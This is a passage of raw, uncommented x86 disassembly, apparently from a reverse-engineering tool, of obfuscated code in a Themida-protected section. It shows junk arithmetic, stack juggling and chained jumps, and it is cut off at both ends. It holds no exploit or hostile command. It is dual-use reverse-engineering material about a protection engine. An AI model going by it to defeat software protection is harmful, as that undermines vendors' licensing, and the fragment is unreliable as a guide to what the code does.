; ---------------------------------------------------------------------------
loc_588D37: ; CODE XREF: Themida_:0058C764j
mov esp, [esp]
push ebp
mov ebp, esp
jmp loc_585E87
; ---------------------------------------------------------------------------
loc_588D42: ; CODE XREF: Themida_:0058D76Ej
shl ebp, 2
xor ebp, 622A4A94h
sub ebp, 54FBE085h
mov edx, ebp
pop ebp
add edx, ebp
jmp loc_5852C0
; ---------------------------------------------------------------------------
loc_588D5B: ; CODE XREF: Themida_:00588A2Dj
add ebp, ecx
pop ecx
xor ebp, 5AF25C8Ch
xchg edi, ebp
neg edi
jmp loc_589518
; ---------------------------------------------------------------------------
loc_588D6D: ; CODE XREF: Themida_:0058D398j
not edx
xor edx, 0F19CB752h
jmp loc_58C410
; ---------------------------------------------------------------------------
loc_588D7A: ; CODE XREF: Themida_:00582CA6j
mov ebx, [esp]
add esp, 4
add esp, 4
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_588D8B: ; CODE XREF: Themida_:0058A167j
push esi
mov esi, edx
mov edi, esi
pop esi
pop edx
jmp loc_58D60E
; ---------------------------------------------------------------------------
loc_588D97: ; CODE XREF: Themida_:0058324Cj
add ebx, 69E239FFh
jmp loc_585739
; ---------------------------------------------------------------------------
loc_588DA2: ; CODE XREF: Themida_:00587F5Cj
add dword ptr [esp], 4
pop edi
push edx
mov edx, 67305F8Fh
dec edx
shl edx, 6
sub edx, 1B965144h
add edx, 4F7E6DC8h
jmp loc_589BAD
; ---------------------------------------------------------------------------
loc_588DC2: ; CODE XREF: Themida_:0058A92Aj
mov [esp], esi
push edi
push 5E2E24DFh
pop edi
shl edi, 1
inc edi
add edi, 308B235Fh
add edi, 1318A2E2h
jmp loc_58B48D
; ---------------------------------------------------------------------------
loc_588DE0: ; CODE XREF: Themida_:0058CCC6j
mov [esp], esp
add dword ptr [esp], 4
mov edi, [esp]
add esp, 4
push 0C2Ah
mov [esp], esi
mov esi, 4
add edi, esi
mov esi, [esp]
add esp, 4
jmp loc_58478B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5F0C13
loc_588E0D: ; CODE XREF: sub_5F0C13-6B86Aj
pop edx
shr ch, 7
sub esp, 4
mov [esp+34h+var_36+2], eax
mov al, 0BEh
jmp loc_5858C8
; END OF FUNCTION CHUNK FOR sub_5F0C13
; ---------------------------------------------------------------------------
loc_588E1E: ; CODE XREF: Themida_:00582897j
pop eax
shl ebp, 5
jmp loc_58BEB1
; ---------------------------------------------------------------------------
loc_588E27: ; CODE XREF: Themida_:005874D1j
pop edi
add ebp, esi
pop esi
add ebp, 2
jmp loc_58B57B
; ---------------------------------------------------------------------------
loc_588E33: ; CODE XREF: Themida_:00583C2Aj
sub ecx, 18945C07h
jmp loc_58D78D
; ---------------------------------------------------------------------------
loc_588E3E: ; CODE XREF: Themida_:0058CCA1j
add [esp+4], eax
jmp loc_588031
; ---------------------------------------------------------------------------
loc_588E47: ; CODE XREF: Themida_:00585C67j
xchg ebp, [esp]
pop esp
add esi, ecx
jmp loc_5878A2
; ---------------------------------------------------------------------------
loc_588E52: ; CODE XREF: Themida_:0058A331j
push dword ptr [esp]
pop esi
jmp loc_58704C
; ---------------------------------------------------------------------------
loc_588E5B: ; CODE XREF: Themida_:005862C6j
add ebx, 4
push ebp
mov ebp, 50037B15h
dec ebp
shl ebp, 1
xor ebp, 84F2BF4h
push ecx
mov ecx, 38A26B5Dh
jmp loc_58670B
; ---------------------------------------------------------------------------
loc_588E7B: ; CODE XREF: Themida_:00581BD4j
pop dx
push 4CD7h
mov [esp], ecx
jmp loc_5872BA
; ---------------------------------------------------------------------------
loc_588E8A: ; CODE XREF: Themida_:0058A82Fj
push cx
jmp loc_5854C0
; ---------------------------------------------------------------------------
loc_588E91: ; CODE XREF: Themida_:005895D6j
add al, dh
jmp loc_58B1C5
; ---------------------------------------------------------------------------
loc_588E98: ; CODE XREF: Themida_:0058D49Aj
xor eax, ebx
push 7C96h
mov [esp], esi
jmp loc_585F1C
; ---------------------------------------------------------------------------
loc_588EA7: ; CODE XREF: Themida_:0058B112j
pop ecx
jmp loc_584718
; ---------------------------------------------------------------------------
loc_588EAD: ; CODE XREF: Themida_:00587839j
pop ebx
jmp loc_58902B
; ---------------------------------------------------------------------------
loc_588EB3: ; CODE XREF: Themida_:0058B727j
pop dword ptr [esp]
pop esp
mov [esp], edi
push 5E24D1A0h
pop edi
sub eax, 7C2733ACh
sub eax, 794508E1h
add eax, edi
add eax, 794508E1h
push ebx
mov ebx, 7C2733ACh
jmp loc_5896E8
; ---------------------------------------------------------------------------
loc_588EDC: ; CODE XREF: Themida_:00584181j
push edx
mov edx, 53EA47FCh
push ecx
mov ecx, 7EA405E0h
and ecx, 242369BAh
and ecx, 7683687Eh
and ecx, 28050D65h
jmp loc_58363E
; ---------------------------------------------------------------------------
loc_588EFF: ; CODE XREF: Themida_:0058D456j
add ebp, 99278C59h
push eax
mov eax, 2723231h
jmp loc_58A2FB
; ---------------------------------------------------------------------------
loc_588F10: ; CODE XREF: Themida_:00589563j
xor edx, 378A2072h
sub ebp, 3D4805A1h
jmp loc_588576
; ---------------------------------------------------------------------------
loc_588F21: ; CODE XREF: Themida_:00583848j
mov ebx, 4372F47h
not ebx
xor ebx, 74D92E6Ah
shr ebx, 6
and ebx, 643525A8h
sub ebx, 0E8AA8A28h
jmp loc_583BF8
; ---------------------------------------------------------------------------
push ebx
mov ebx, esp
add ebx, 4
push eax
mov eax, 4
sub ebx, eax
pop eax
push ebx
push dword ptr [esp+4]
pop ebx
pop dword ptr [esp]
pop esp
mov [esp], eax
mov eax, esp
jmp loc_58A204
; ---------------------------------------------------------------------------
loc_588F68: ; CODE XREF: Themida_:0058410Ej
mov eax, [esp]
jmp loc_585D11
; ---------------------------------------------------------------------------
loc_588F70: ; CODE XREF: Themida_:0058DC90j
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_588F75: ; CODE XREF: Themida_:00585DA7j
mov eax, 4
add ebx, eax
pop eax
jmp loc_58CA11
; ---------------------------------------------------------------------------
loc_588F82: ; CODE XREF: Themida_:005840D8j
mov edi, 1B540F6Ah
or edi, 14BC5CFAh
or edi, 0C075777h
shl edi, 1
add edi, 0F7859927h
or edx, edi
jmp loc_58372A
; ---------------------------------------------------------------------------
loc_588FA2: ; CODE XREF: Themida_:0058AFCBj
pop esp
jmp loc_583365
; ---------------------------------------------------------------------------
loc_588FA8: ; CODE XREF: Themida_:0058A5D9j
push ebp
push 2897h
mov [esp], esp
jmp loc_58CB7E
; ---------------------------------------------------------------------------
loc_588FB6: ; CODE XREF: Themida_:0058212Fj
add esp, 4
add esp, 4
pop edx
jmp loc_5884DE
; ---------------------------------------------------------------------------
loc_588FC8: ; CODE XREF: Themida_:0058BEACj
pop eax
jmp loc_58D367
; ---------------------------------------------------------------------------
loc_588FCE: ; CODE XREF: Themida_:0058D609j
mov esi, ebx
pop ebx
sub ecx, esi
pop esi
sub ecx, ebp
jmp loc_58223D
; ---------------------------------------------------------------------------
loc_588FDB: ; CODE XREF: Themida_:00587E1Dj
pop dword ptr [esp]
jmp loc_58A7D6
; ---------------------------------------------------------------------------
loc_588FE3: ; CODE XREF: Themida_:0058A6AAj
push esp
pop ebx
add ebx, 4
push edi
mov edi, 23B71B5Ch
add edi, 19396E79h
push esi
mov esi, 65FA57EFh
or edi, esi
jmp loc_588407
; ---------------------------------------------------------------------------
loc_589004: ; CODE XREF: Themida_:00583639j
xchg edi, [esp]
pop esp
mov dh, 80h
xor dh, cl
mov ecx, [esp]
add esp, 4
add al, 0E7h
add al, dh
sub al, 0E7h
mov edx, [esp]
add esp, 4
push edx
push ecx
jmp loc_58A46F
; ---------------------------------------------------------------------------
loc_58902B: ; CODE XREF: Themida_:00588EAEj
add ebx, 4
push ecx
mov ecx, 4
jmp loc_58492D
; ---------------------------------------------------------------------------
loc_58903C: ; CODE XREF: Themida_:0058C0ADj
push eax
push ebp
mov ebp, 41FC3566h
push ecx
mov ecx, 5DD229AAh
push 4ACBh
mov [esp], edx
mov edx, 3B2062FAh
and edx, 27691D00h
xor edx, 53F411D9h
jmp loc_58BDFF
; ---------------------------------------------------------------------------
loc_589067: ; CODE XREF: Themida_:00583FE8j
pop edi
add edx, esi
sub edx, 3AD90F4Eh
jmp loc_583948
; ---------------------------------------------------------------------------
loc_589075: ; CODE XREF: Themida_:005880DBj
pop ebp
add edi, 4
xchg edi, [esp]
jmp loc_58631B
; ---------------------------------------------------------------------------
loc_589081: ; CODE XREF: Themida_:00584B67j
pop ebp
pop ecx
mov [edi+20h], ebx
push dword ptr [esp]
jmp loc_5847E5
; ---------------------------------------------------------------------------
loc_58908E: ; CODE XREF: Themida_:00582D3Dj
pop eax
jmp loc_586BB6
; ---------------------------------------------------------------------------
loc_589094: ; CODE XREF: Themida_:005888BBj
sub edx, 0C677A8h
jmp loc_585B53
; ---------------------------------------------------------------------------
loc_58909F: ; CODE XREF: Themida_:00582BBDj
push ebp
jmp loc_58B00E
; ---------------------------------------------------------------------------
loc_5890A5: ; CODE XREF: Themida_:00589B40j
mov [esp], ebp
mov ebp, 303C56FDh
add [esp+0Ch], ebp
pop ebp
mov esi, [esp]
add esp, 4
add [esp+4], eax
sub dword ptr [esp+4], 0DED4D47h
pop eax
jmp loc_58A3E6
; ---------------------------------------------------------------------------
loc_5890CD: ; CODE XREF: Themida_:00589584j
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_5890D2: ; CODE XREF: Themida_:0058A5D0j
and ebx, 3A2D1A6Ch
sub ebx, 18081A5Ch
add esi, ebx
pop ebx
xchg esi, [esp]
jmp loc_58A8CF
; ---------------------------------------------------------------------------
loc_5890E9: ; CODE XREF: Themida_:00587FDAj
mov edi, esp
add edi, 4
sub esp, 4
mov [esp], edx
mov edx, 4ACE6AB3h
push esi
jmp loc_587540
; ---------------------------------------------------------------------------
loc_589102: ; CODE XREF: Themida_:0058B0CEj
mov esi, 0CC113624h
xor edi, esi
pop esi
mov ebp, edi
mov edi, [esp]
add esp, 4
jmp loc_589A3B
; ---------------------------------------------------------------------------
mov ax, [esp]
push 12ABh
mov [esp], eax
mov eax, esp
sub esp, 4
mov [esp], ecx
jmp loc_588168
; ---------------------------------------------------------------------------
loc_589133: ; CODE XREF: Themida_:00584BF1j
pop ecx
push edx
push esp
pop edx
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
pop dword ptr [eax]
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_589150: ; CODE XREF: Themida_:0058DBF4j
mov esp, [esp]
push edx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
jmp loc_58763F
; ---------------------------------------------------------------------------
loc_589166: ; CODE XREF: Themida_:00584C1Ej
xor esi, [esp]
mov esp, [esp]
jmp loc_58CFF2
; ---------------------------------------------------------------------------
loc_589171: ; CODE XREF: Themida_:00586B5Cj
mov esi, 40092011h
add ebx, esi
jmp loc_58B78C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5F0C13
loc_58917D: ; CODE XREF: sub_5F0C13-6C63Dj
sub ch, al
jmp loc_58BAC8
; END OF FUNCTION CHUNK FOR sub_5F0C13
; ---------------------------------------------------------------------------
loc_589184: ; CODE XREF: Themida_:0058D1FEj
mov dx, [esp]
add esp, 2
add al, dh
jmp loc_58C47E
; ---------------------------------------------------------------------------
loc_589192: ; CODE XREF: Themida_:00584CC6j
mov edx, 5A2634A7h
sub ebx, edx
mov edx, [esp]
jmp loc_58708E
; ---------------------------------------------------------------------------
loc_5891A1: ; CODE XREF: Themida_:005898FFj
add eax, edi
add eax, 2C5D4903h
push dword ptr [esp]
pop edi
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
mov esp, [esp]
push 7518h
mov [esp], edx
push edi
mov edi, 2B623BDEh
push edi
sub dword ptr [esp], 74C638Ah
pop edx
add edx, 74C638Ah
push dword ptr [esp]
jmp loc_58BD35
; ---------------------------------------------------------------------------
loc_5891E3: ; CODE XREF: Themida_:00587C05j
add [esp+4], edx
pop edx
pop ebx
add ebx, 4
sub esp, 4
mov [esp], ebp
mov ebp, 47AB0277h
jmp loc_58B174
; ---------------------------------------------------------------------------
loc_5891FF: ; CODE XREF: Themida_:0058621Cj
sub ebp, 921539F9h
add eax, ebp
mov ebp, [esp]
push 3DCCh
mov [esp], edi
mov edi, esp
add edi, 4
jmp loc_58712D
; ---------------------------------------------------------------------------
loc_58921F: ; CODE XREF: Themida_:0058B2FFj
push ebp
mov ebp, 59D50AEAh
sub ebp, 59D50AE6h
sub esi, 7C636A1Dh
jmp loc_58D3E8
; ---------------------------------------------------------------------------
loc_589236: ; CODE XREF: Themida_:0058AD77j
pop ecx
push ax
push 356Dh
mov [esp], edx
jmp loc_584056
; ---------------------------------------------------------------------------
loc_589246: ; CODE XREF: Themida_:0058AE48j
push ebp
mov ebp, 40B9286Ch
sub ebp, 2DB062C1h
sub ebp, 7B635888h
jmp loc_58928E
; ---------------------------------------------------------------------------
loc_58925D: ; CODE XREF: Themida_:0058D6F5j
add eax, 4
add eax, 2
sub esp, 4
mov [esp], eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
push small 1DD8h
mov [esp], dx
push ecx
jmp loc_58C1E1
; ---------------------------------------------------------------------------
loc_589285: ; CODE XREF: Themida_:00586698j
xor edx, ecx
xor ecx, edx
jmp loc_589A4E
; ---------------------------------------------------------------------------
loc_58928E: ; CODE XREF: Themida_:00589258j
or ebp, 0AA46AC1h
xor ebp, 3D7B652Ah
xor ebp, 606481A8h
xor eax, ebp
pop ebp
mov ebx, eax
mov eax, [esp]
add esp, 4
add edx, 7A0B4291h
jmp loc_586B1C
; ---------------------------------------------------------------------------
loc_5892B6: ; CODE XREF: Themida_:005875FEj
sub ch, 4Fh
add al, ch
pop ecx
jmp loc_58D1B4
; ---------------------------------------------------------------------------
loc_5892C1: ; CODE XREF: Themida_:00583F97j
mov ebx, 4
add esi, ebx
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
add esp, 4
add esi, 4
xchg esi, [esp]
mov esp, [esp]
shr eax, 0Ah
xor eax, ecx
xchg eax, ecx
sub esp, 4
mov [esp], ecx
xchg edi, [esp]
not edi
push edi
push dword ptr [esp+4]
mov edi, [esp]
add esp, 4
pop dword ptr [esp]
mov ecx, [esp]
add esp, 4
push eax
push 3BADh
jmp loc_58BC29
; ---------------------------------------------------------------------------
loc_589310: ; CODE XREF: Themida_:0058B94Fj
push ebx
mov bh, 43h
neg bh
sub bh, 2Eh
sub ch, bh
pop ebx
add bl, ch
pop ecx
movzx eax, al
push small 7AB8h
jmp loc_58AB24
; ---------------------------------------------------------------------------
loc_58932A: ; CODE XREF: Themida_:005830A8j
sub eax, 0BD26722h
jmp loc_588A52
; ---------------------------------------------------------------------------
loc_589334: ; CODE XREF: Themida_:0058A6C9j
sub esi, eax
pop eax
add eax, esi
mov esi, [esp]
add esp, 4
xchg eax, [esp]
mov esp, [esp]
mov ax, [esp]
push 7C8Ah
jmp loc_582821
; ---------------------------------------------------------------------------
loc_589353: ; CODE XREF: Themida_:00584CACj
push ebp
push esp
mov ebp, [esp]
jmp loc_58A390
; ---------------------------------------------------------------------------
loc_58935D: ; CODE XREF: Themida_:00582244j
add eax, ecx
mov ecx, [esp]
jmp loc_58B6A1
; ---------------------------------------------------------------------------
loc_589367: ; CODE XREF: Themida_:00585E7Aj
push edx
mov edx, 0DE75F78Ch
sub esi, edx
jmp loc_58BF37
; ---------------------------------------------------------------------------
loc_589374: ; CODE XREF: Themida_:00581BB5j
mov ebp, [esp]
add esp, 4
xchg edi, [esp]
pop esp
jmp loc_588CCF
; ---------------------------------------------------------------------------
loc_589386: ; CODE XREF: Themida_:005826C2j
mov [esp], esi
mov esi, 439947EAh
sub ebp, 6AC826A6h
sub ebp, 41844687h
sub ebp, esi
push eax
mov eax, 72C97CCBh
and eax, 595B7F92h
shr eax, 2
dec eax
jmp loc_586007
; ---------------------------------------------------------------------------
loc_5893B0: ; CODE XREF: Themida_:00583C48j
push ecx
mov ecx, 4
add [esp+4], ecx
pop ecx
push dword ptr [esp]
pop edx
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_58508B
; ---------------------------------------------------------------------------
loc_5893D0: ; CODE XREF: Themida_:005842BAj
add edi, ecx
pop ecx
push ecx
push edi
jmp loc_584E72
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop eax
push ebp
jmp loc_583F75
; ---------------------------------------------------------------------------
neg dword ptr [esp]
pushf
jmp loc_585612
; ---------------------------------------------------------------------------
loc_5893F0: ; CODE XREF: Themida_:0058A377j
push 0BCFh
mov [esp], edi
jmp loc_588A32
; ---------------------------------------------------------------------------
lodsb
push ecx
mov cl, 4Ch
add cl, 0FFh
jmp loc_58CF24
; ---------------------------------------------------------------------------
loc_589409: ; CODE XREF: Themida_:0058D990j
sub esp, 4
mov [esp], esi
mov esi, 2DAB1B79h
add [esp+4], esi
jmp loc_585DD4
; ---------------------------------------------------------------------------
loc_58941D: ; CODE XREF: Themida_:00582824j
mov edx, esp
push ebp
push ebx
push esi
jmp loc_582F52
; ---------------------------------------------------------------------------
loc_589427: ; CODE XREF: Themida_:0058B3AFj
add edx, 1F77F34h
pop ebx
xchg edx, [esp]
pop esp
jmp loc_584483
; ---------------------------------------------------------------------------
loc_589437: ; CODE XREF: Themida_:00582EC1j
add eax, esi
push ebx
mov ebx, 6CB87C3Eh
sub eax, 11576F49h
sub eax, ebx
jmp loc_58354D
; ---------------------------------------------------------------------------
loc_58944B: ; CODE XREF: Themida_:00585405j
mov al, dh
mov ch, al
pop eax
jmp loc_581FB0
; ---------------------------------------------------------------------------
loc_589455: ; CODE XREF: Themida_:00583834j
pop eax
add ecx, ebx
sub ecx, 26C94511h
jmp loc_5855B1
; ---------------------------------------------------------------------------
loc_589463: ; CODE XREF: Themida_:005868BAj
sub esi, 4
jmp loc_5870BC
; ---------------------------------------------------------------------------
loc_58946E: ; CODE XREF: Themida_:00582323j
add ebp, edx
pop edx
push 41A4h
mov [esp], edx
mov edx, 27242AD2h
jmp loc_581E12
; ---------------------------------------------------------------------------
loc_589483: ; CODE XREF: Themida_:0058BF4Bj
xchg edx, [esp]
pop esp
or [esp], ax
pushf
jmp loc_5818C9
; ---------------------------------------------------------------------------
mov cx, [esp]
sub esp, 4
mov [esp], edi
push 1B83h
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
pop edi
push esi
push edx
mov edx, 4
mov esi, edx
pop edx
add edi, 16093B11h
add edi, esi
jmp loc_585990
; ---------------------------------------------------------------------------
push small word ptr [edx]
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_5894CE: ; CODE XREF: Themida_:00588CF5j
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
mov esp, [esp]
mov ax, [esp]
jmp loc_58662E
; ---------------------------------------------------------------------------
loc_5894E3: ; CODE XREF: Themida_:005865A6j
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_5894E8: ; CODE XREF: Themida_:0058A0E9j
add ebp, 4
jmp loc_587E93
; ---------------------------------------------------------------------------
loc_5894F0: ; CODE XREF: Themida_:0058CD88j
sub esp, 2
mov [esp], ax
push bp
mov bp, 4583h
mov ax, bp
pop bp
sub bx, 5BF6h
sub bx, ax
add bx, 5BF6h
mov ax, [esp]
jmp loc_584113
; ---------------------------------------------------------------------------
loc_589518: ; CODE XREF: Themida_:00588D68j
xchg edi, ebp
inc ebp
xor ebp, 8CC2DF29h
xor edx, ebp
pop ebp
jmp loc_583D7D
; ---------------------------------------------------------------------------
loc_589529: ; CODE XREF: Themida_:00585E99j
xor ebp, [esp]
jmp loc_58B069
; ---------------------------------------------------------------------------
loc_589531: ; CODE XREF: Themida_:00586402j
xor ebp, 28494057h
add ebx, ebp
jmp loc_5825B5
; ---------------------------------------------------------------------------
loc_58953E: ; CODE XREF: Themida_:005855A0j
sub esi, 22E06188h
add esi, edx
jmp loc_586536
; ---------------------------------------------------------------------------
lodsd
jmp loc_585A9E
; ---------------------------------------------------------------------------
loc_589551: ; CODE XREF: Themida_:00588273j
push 28931E74h
pop esi
neg esi
sub esi, 0FFFFFFFFh
jmp loc_581A54
; ---------------------------------------------------------------------------
loc_589561: ; CODE XREF: Themida_:0058BBD8j
neg edx
jmp loc_588F10
; ---------------------------------------------------------------------------
loc_589568: ; CODE XREF: Themida_:0058A8F6j
pop esp
not edx
shl edx, 3
jmp loc_58822F
; ---------------------------------------------------------------------------
loc_589573: ; CODE XREF: Themida_:0058292Ej
add esi, ecx
pop ecx
add esi, 2
xchg esi, [esp]
pop esp
rol dword ptr [esp], cl
pushf
jmp loc_5890CD
; ---------------------------------------------------------------------------
loc_589589: ; CODE XREF: Themida_:00587B1Aj
shl al, 2
not al
push ebx
mov bl, 1
sub al, bl
pop ebx
jmp loc_582B12
; ---------------------------------------------------------------------------
loc_589599: ; CODE XREF: Themida_:005863F0j
pop esp
jmp loc_587D9F
; ---------------------------------------------------------------------------
loc_58959F: ; CODE XREF: Themida_:005844BFj
movzx eax, al
jmp loc_58BAAD
; ---------------------------------------------------------------------------
loc_5895A7: ; CODE XREF: Themida_:00582ACEj
pop edx
push esi
mov esi, 281565DAh
sub edx, 50385E85h
jmp loc_587BCD
; ---------------------------------------------------------------------------
loc_5895B9: ; CODE XREF: Themida_:0058DE5Cj
pop bx
jmp loc_5855CC
; ---------------------------------------------------------------------------
loc_5895C0: ; CODE XREF: Themida_:00582742j
shr cl, 1
shl cl, 2
dec cl
neg cl
xchg ah, cl
jmp loc_58D2D6
; ---------------------------------------------------------------------------
loc_5895D0: ; CODE XREF: Themida_:0058BA5Cj
or dh, 0FEh
add dh, 1
jmp loc_588E91
; ---------------------------------------------------------------------------
loc_5895DB: ; CODE XREF: Themida_:00589AB4j
pop edi
pop edi
jmp loc_583F3A
; ---------------------------------------------------------------------------
loc_5895E2: ; CODE XREF: Themida_:0058A853j
add esp, 4
jmp loc_581C2A
; ---------------------------------------------------------------------------
loc_5895EA: ; CODE XREF: Themida_:0058B456j
xor edi, ebx
pop ebx
shr edi, 2
shl edi, 1
neg edi
shr edi, 6
sub edi, 0A1E59EC4h
xor edx, edi
pop edi
xor eax, edx
mov edx, [esp]
push eax
push 754Fh
mov [esp], esp
add dword ptr [esp], 4
pop eax
add eax, 4
push ebx
jmp loc_582358
; ---------------------------------------------------------------------------
loc_58961E: ; CODE XREF: Themida_:00581ACEj
xor eax, [esp]
pop esp
shr eax, 18h
xor eax, ecx
push eax
xor [esp], eax
xor eax, [esp]
jmp loc_587895
; ---------------------------------------------------------------------------
loc_589633: ; CODE XREF: Themida_:0058DFFFj
mov ecx, [esp]
add esp, 4
xor ebp, 77480584h
xor edi, ebp
pop ebp
sub edi, 0FFFFFFFFh
sub edi, 0FC6A7BE3h
jmp loc_58984F
; ---------------------------------------------------------------------------
loc_589656: ; CODE XREF: Themida_:00583DCBj
pop eax
add esp, 4
add ebp, 2ED57AECh
add ebp, esi
push ebx
mov ebx, 2ED57AECh
sub ebp, ebx
pop ebx
mov esi, [esp]
add esp, 4
xchg ebp, [esp]
mov esp, [esp]
mul cl
movzx cx, ah
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
mov [esp], ebp
jmp loc_58225A
; ---------------------------------------------------------------------------
loc_589698: ; CODE XREF: Themida_:00582523j
sub cl, 64h
sub bl, cl
pop ecx
sub bl, 8Ah
movzx eax, al
lea eax, [edi+eax*4]
push edx
sub esp, 4
push esp
pop dword ptr [esp]
jmp loc_585795
; ---------------------------------------------------------------------------
loc_5896B7: ; CODE XREF: Themida_:0058D962j
sub ebx, 420A184Dh
sub esp, 4
mov [esp], edi
push 3F77h
mov [esp], eax
mov edi, [esp]
jmp loc_583343
; ---------------------------------------------------------------------------
loc_5896D3: ; CODE XREF: Themida_:00587530j
mov ch, 40h
mov al, ch
pop ecx
sub bl, 8Ah
jmp loc_58D7B5
; ---------------------------------------------------------------------------
loc_5896E0: ; CODE XREF: Themida_:0058393Ej
xchg eax, [esp]
jmp loc_588AEF
; ---------------------------------------------------------------------------
loc_5896E8: ; CODE XREF: Themida_:00588ED7j
add eax, ebx
pop ebx
jmp loc_5881C1
; ---------------------------------------------------------------------------
loc_5896F0: ; CODE XREF: Themida_:00585E68j
xchg eax, ebp
jmp loc_58DF21
; ---------------------------------------------------------------------------
loc_5896F6: ; CODE XREF: Themida_:00588A99j
pop dword ptr [esp]
pop esp
jmp loc_58AB88
; ---------------------------------------------------------------------------
loc_5896FF: ; CODE XREF: Themida_:0058627Aj
xchg eax, [esp]
jmp loc_586500
; ---------------------------------------------------------------------------
loc_589707: ; CODE XREF: Themida_:0058B49Cj
add esp, 4
add ecx, 4
push esi
mov esi, 1E3F25DBh
jmp loc_58A35F
; ---------------------------------------------------------------------------
loc_58971E: ; CODE XREF: Themida_:0058D3E3j
mov [esp], ecx
mov ecx, 70573630h
add ebx, 338909E3h
add ebx, ecx
sub ebx, 338909E3h
jmp loc_586CEF
; ---------------------------------------------------------------------------
loc_589739: ; CODE XREF: Themida_:00585589j
sub eax, 4
jmp loc_58C659
; ---------------------------------------------------------------------------
loc_589743: ; CODE XREF: Themida_:00581E30j
mov [esp], edx
mov edx, 4
add eax, edx
mov edx, [esp]
add esp, 4
push ebx
mov ebx, 4
sub eax, 7703251Ch
add eax, ebx
add eax, 7703251Ch
push dword ptr [esp]
pop ebx
add esp, 4
xchg eax, [esp]
mov esp, [esp]
imul ecx
push 0C3Bh
mov [esp], ebp
sub esp, 4
push esp
pop dword ptr [esp]
jmp loc_5839E6
; ---------------------------------------------------------------------------
loc_58978E: ; CODE XREF: Themida_:0058478Fj
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
mov ax, [esp]
push eax
jmp loc_5886F9
; ---------------------------------------------------------------------------
loc_5897A1: ; CODE XREF: Themida_:00587A07j
or ecx, 7305033Eh
not ecx
shl ecx, 1
jmp loc_586A17
; ---------------------------------------------------------------------------
loc_5897B0: ; CODE XREF: Themida_:00585BDBj
xchg ecx, [esp]
pop esp
or eax, eax
jnz loc_587FF3
push 4921h
mov [esp], ebx
mov ebx, 1
mov edx, ebx
push dword ptr [esp]
mov ebx, [esp]
add esp, 4
push ecx
push 17E6h
mov [esp], esp
push ecx
mov ecx, 4
add [esp+4], ecx
jmp loc_58AECE
; ---------------------------------------------------------------------------
loc_5897EC: ; CODE XREF: Themida_:0058B8BDj
dec bh
dec bh
sub bh, 0DBh
sub ah, bh
pop ebx
xor ah, 9Ch
add bl, ah
pop eax
pop edx
jmp loc_581C58
; ---------------------------------------------------------------------------
loc_589802: ; CODE XREF: Themida_:00581A38j
add edx, 5B5E172Fh
shr edx, 3
sub edx, 0D248F577h
sub esi, edx
pop edx
shl esi, 5
sub esi, 92B53B92h
xor esi, ebp
jmp loc_58BD1A
; ---------------------------------------------------------------------------
loc_589824: ; CODE XREF: Themida_:00584E3Ej
sub esp, 4
mov [esp], esi
push 7290h
push esp
pop dword ptr [esp]
jmp loc_58B3D7
; ---------------------------------------------------------------------------
loc_58983B: ; CODE XREF: Themida_:0058540Dj
add ebx, 0F7C9B0FCh
mov esi, ebx
jmp loc_58AFD0
; ---------------------------------------------------------------------------
loc_589848: ; CODE XREF: Themida_:00583709j
add esi, edi
jmp loc_584E8A
; ---------------------------------------------------------------------------
loc_58984F: ; CODE XREF: Themida_:00589651j
add edx, edi
pop edi
add edx, 4
xchg edx, [esp]
pop esp
movzx ecx, ax
push 5E6Eh
mov [esp], ecx
jmp loc_5818C9
; ---------------------------------------------------------------------------
loc_58986C: ; CODE XREF: Themida_:00583024j
xchg esi, [esp]
mov esp, [esp]
push dword ptr [esp]
pop edx
push 7436h
mov [esp], edi
mov edi, esp
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ebx
sub esp, 4
mov [esp], edi
push 4
jmp loc_58C04F
; ---------------------------------------------------------------------------
loc_5898A6: ; CODE XREF: Themida_:005888E3j
mov esi, 6EA37822h
shr esi, 3
dec esi
xor esi, 0DD46F02h
sub edx, esi
pop esi
shl edx, 8
or edx, 0D735A2Bh
add edx, 0C24D24BCh
sub eax, edx
pop edx
sub eax, 55210640h
sub esp, 4
mov [esp], edi
mov edi, 50F83CD1h
add edi, 0FF6BF17h
sub esp, 4
mov [esp], esi
mov esi, 2C5D4903h
push esi
mov esi, 745366D5h
add eax, esi
pop esi
sub eax, esi
sub eax, 745366D5h
pop esi
jmp loc_5891A1
; ---------------------------------------------------------------------------
loc_589904: ; CODE XREF: Themida_:0058DF30j
mov esi, esp
jmp loc_58253D
; ---------------------------------------------------------------------------
loc_58990B: ; CODE XREF: Themida_:00583C1Ej
pop ebp
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], eax
mov eax, 4
add esi, 2B19125Ch
add esi, eax
sub esi, 2B19125Ch
mov eax, [esp]
add esp, 4
push edi
mov edi, 2
add esi, edi
pop edi
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
mov ax, [esp]
push edi
push esp
mov edi, [esp]
add esp, 4
sub esp, 4
mov [esp], esi
jmp loc_585CE8
; ---------------------------------------------------------------------------
mov eax, [esp]
push 13FAh
jmp loc_58AE93
; ---------------------------------------------------------------------------
loc_589970: ; CODE XREF: Themida_:00585B19j
push ecx
mov ecx, 619D6F6Fh
add ecx, 57BB4918h
not ecx
not ecx
jmp loc_583259
; ---------------------------------------------------------------------------
loc_589985: ; CODE XREF: Themida_:0058DB9Bj
push eax
mov eax, 4
add ecx, eax
pop eax
push ebp
push ecx
mov ecx, 7FDB015Ch
mov ebp, ecx
pop ecx
